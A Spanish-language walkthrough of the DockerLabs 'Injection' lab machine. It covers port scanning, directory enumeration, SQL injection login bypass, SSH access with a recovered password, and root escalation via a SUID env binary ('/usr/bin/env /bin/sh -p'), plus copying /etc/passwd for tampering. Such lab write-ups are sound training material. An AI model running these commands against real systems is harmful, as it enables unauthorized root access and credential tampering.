19 de septiembre de 2025
DockerLabs: 1. Máquina Injection
Resolución de la máquina Injection de DockerLabs, enfocada en inyección SQL y escalada de privilegios SUID con env.

Ejecución de maquina
En esta sección veremos la manera para solucionar esta maquina de DockerLabs hecha por el Pingüino de Mario (Un grande).
Para poder ejecutar esta maquina debemos tener el archivo zip donde se encuentra todo lo importante para su ejecución. Para ello podemos utilizar 7z para ver su contenido y finalmente extaerlo:
Observando el contenido
$ 7z l injection.zip
---------------------------------------------------------------------
# Resultado
7-Zip 25.01 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-08-03
64-bit locale=es_CO.UTF-8 Threads:128 OPEN_MAX:1024, ASM
Scanning the drive for archives:
1 file, 191252211 bytes (183 MiB)
Listing archive: injection.zip
--
Path = injection.zip
Type = zip
Physical Size = 191252211
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2024-05-13 05:34:31 ..... 812682752 191250930 injection.tar
2024-05-11 16:48:33 ..... 2304 949 auto_deploy.sh
------------------- ----- ------------ ------------ ------------------------
2024-05-13 05:34:31 812685056 191251879 2 files
Extrayendo el contenido
$ 7z x injection.zip
-----------------------------------------------------------------------
# Resultado
7-Zip 25.01 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-08-03
64-bit locale=es_CO.UTF-8 Threads:128 OPEN_MAX:1024, ASM
Scanning the drive for archives:
1 file, 191252211 bytes (183 MiB)
Extracting archive: injection.zip
--
Path = injection.zip
Type = zip
Physical Size = 191252211
Everything is Ok
Files: 2
Size: 812685056
Compressed: 191252211
Extrayendo el contenido, podremos listarlo de forma que todo lo que tenemos actualmente en la carpeta en la que estemos será posiblemente lo siguiente:
$ ls
auto_deploy.sh injection.tar injection.zip
Si quisiéramos podríamos eliminar el archivo zip, sin embargo, lo dejaremos en ese lugar en caso de que algo salga mal a la hora de intentar resolver la maquina, por lo cual nuestro siguiente movimiento será ejecutar la maquina mediante bash, podemos hacerlo dándole permisos de ejecución al archivo sh o como lo hare, especificando que queremos ejecutar el archivo con bash y permisos de administrador para poder ejecutar la maquina docker.
sudo bash auto_deploy.sh injection.tar
---------------------------------------
# Resultado
[sudo] contraseña para piedrahita:
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
Con esto podemos empezar a ver todo lo que tiene que ver con respecto a las vulnerabilidades de esta maquina…
¡Vamos a ello!
Reconocimiento de Puertos
Por mi parte generare dos carpetas iniciales para empezar a guardar el contenido importante y me moveré a la carpeta donde realizare el escaneo de la maquina
mkdir walkthrough
mkdir walkthrough/nmap
cd walkthrough/nmap
Estando aquí un truco que podemos usar para identificar si estamos ante una maquina Linux o una maquina Windows es mediante ping, si la respuesta del ttl es de 64 o similar estamos ante una maquina Linux o similar, pero si el tiempo de respuesta es de 128 estamos ante una maquina Windows
ping -c 4 172.17.0.2
---------------------------------------------------------------
# Resultado
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.460 ms
64 bytes from 172.17.0.2: icmp_seq=2 ttl=64 time=0.068 ms
64 bytes from 172.17.0.2: icmp_seq=3 ttl=64 time=0.053 ms
64 bytes from 172.17.0.2: icmp_seq=4 ttl=64 time=0.050 ms
--- 172.17.0.2 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3052ms
rtt min/avg/max/mdev = 0.050/0.157/0.460/0.174 ms
Con esto podemos observar la conexión con la maquina e identificar una maquina Linux en ejecución, ahora lo siguiente es poder identificar los puertos abiertos de esta maquina:
nmap -sVC -sS -p- -Pn 172.17.0.2 -oN escaneo.txt
---------------------------------------------------------------------------
# Resultado
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-23 14:34 -05
Nmap scan report for 172.17.0.2
Host is up (0.000010s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 72:1f:e1:92:70:3f:21:a2:0a:c6:a6:0e:b8:a2:aa:d5 (ECDSA)
|_ 256 8f:3a:cd:fc:03:26:ad:49:4a:6c:a1:89:39:f9:7c:22 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Iniciar Sesi\xC3\xB3n
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.46 seconds
Por lo que podemos observar tenemos el puerto 22 abierto, por lo cual lo más probable es que necesitemos buscar las credenciales de acceso para poder escalar privilegios, mientras que por otro lado tenemos el puerto 80 abierto, siendo un sitio web montado con Apache siendo más específicamente de una maquina Ubuntu. El titulo que podemos observar es bastante llamativo debido a que nos dice algo similar a “Iniciar Sesión”.
Explotación
Con todo esto accederemos al sitio web con nuestro navegador de confianza para ver el sitio web, con lo que nos encontraremos con algo por el estilo:
Por lo poco que podemos ver podemos intuir dos opciones, se trata de una posible Inyección SQL, o necesitamos acceder a un recurso de alguna ruta del sitio web, ya que queremos descartar todas las posibilidades, primero intentaremos descubrir si existe alguna ruta del sitio web, que de pronto tenga alguna credencial o algo por el estilo, para ello usaremos la herramienta de gobuster.
mkdir ../gobuster
cd ../gobuster
gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -x php,html,txt -o dns_discovery.txt
------------------------------------------------------------------------------------
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://172.17.0.2/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Extensions: txt,php,html
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php (Status: 200) [Size: 2921]
/config.php (Status: 200) [Size: 0]
/server-status (Status: 403) [Size: 275]
Si observamos bien solo podemos acceder a 2 contenidos que no nos dicen mucho, el index.php que si intentamos dirigirnos hacia allí es el mismo inicio de sesión; por el otro lado si accedemos a config.php nos encontraremos con una pagina en blanco, lo cual probablemente sea el código que se encargue de la configuración de acceso de credenciales al sitio web.
Viendo que no obtuvimos algún archivo interesante al investigar nos encargaremos principalmente de averiguar si estamos ante una inyección SQL. En un principio nos dirigimos al formulario, agregando de esta manera una comilla sencilla en el campo de usuario y cualquier cosa en el campo de la contraseña:
Si mandamos esta petición, nos dará una respuesta tal que la siguiente:
Con esto confirmamos nuestras sospechas, estamos ante una inyección SQL, más específicamente a una base de datos MariaDB, podríamos intentar en un comienzo hacer un acceso de sesión sencillo mediante una sentencia SQL como la siguiente
Por lo cual lo único que nos queda en este caso es probarlo y ver que sucede:
Eureka, hemos accedido con un usuario por defecto llamado Dylan, y una contraseña algo extraña KJSDFG789FGSDF78. Podríamos intentar acceder con este usuario y contraseña mediante SSH, sin embargo, para descartar cualquier posible error verificaremos que la contraseña no este codificada en BASE64. por lo cual en la terminal escribiremos lo siguiente para descifrar cualquier posible contraseña:
echo "KJSDFG789FGSDF78" | base64 -d
(��n��Q�
^�
Con esto hemos confirmado que no se trata de codificación básica, sin embargo, no podemos descartar cualquier posibilidad por el momento, así que lo único que nos faltaría por probar en este momento es establecer la conexión ssh con el usuario dylan y la contraseña que tenemos por el momento:
ssh dylan@172.17.0.2
The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established.
ED25519 key fingerprint is SHA256:5ic4ZXizeEb8agR4jNX59cBONCe5b5iEcU9lf2zt0Q0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts.
dylan@172.17.0.2's password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 6.12.33+kali-amd64 x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Last login: Sun Aug 24 21:00:26 2025 from 172.17.0.1
dylan@9a0ed90c0a6f:~$
Ingresando todo podemos ver que estamos en la maquina Ubuntu, hemos hecho una explotación de forma bastante sencilla
Escalada de privilegios
Con esto podemos decir que hemos avanzado bastante, sin embargo, aun nos queda el paso final, escalar privilegios, para ello estando conectado a esta maquina podemos intentar hacer 2 cosas básicas, lo primero es listar el contenido que tenemos acceso de permiso de ejecución como administrador sin la contraseña con nuestro usuario actual, o por el contrario encontrar algún permiso SUID el cual podamos explotar, para ello realizamos lo siguiente:
Miramos los permisos de ejecución sudo
dylan@9a0ed90c0a6f:~$ sudo -l
-bash: sudo: command not found
Por lo que podemos ver en este sistema no se reconoce el sistema sudo, por lo cual esto ya nos descarta la primera opción, así que vamos con la segunda:
Miramos los permisos SUID del usuario
dylan@9a0ed90c0a6f:~$ find / -perm -4000 2>/dev/null
/usr/bin/chsh
/usr/bin/su
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/env
/usr/bin/passwd
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/chfn
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
Con esto encontramos algo interesante, podemos observar que uno de estos permisos es env, por lo cual ya tenemos la forma de escalar privilegios con permisos SUID. Para ello nos guiaremos en Permisos SUID de GTFObins. Con ello podremos ver que la forma para escalar privilegios es mediante el siguiente comando:
dylan@9a0ed90c0a6f:~$ /usr/bin/env /bin/sh -p
# whoami
root
Tip Extra:
Aunque con lo anterior hemos podido escalar privilegios lo cierto es que podemos tener acceso de una forma más cómoda y es cambiando el archivo de passwd del sistema, para ello haremos lo siguiente, en la carpeta de dylan copiaremos el archivo para su debida modificación de permisos, haremos lo siguiente:
# pwd
/home/dylan
# cp /etc/passwd .
# ls -l passwd
-rw-r--r-- 1 root dylan 1380 Aug 25 16:15 passwd
# chmod 777 passwd
#exit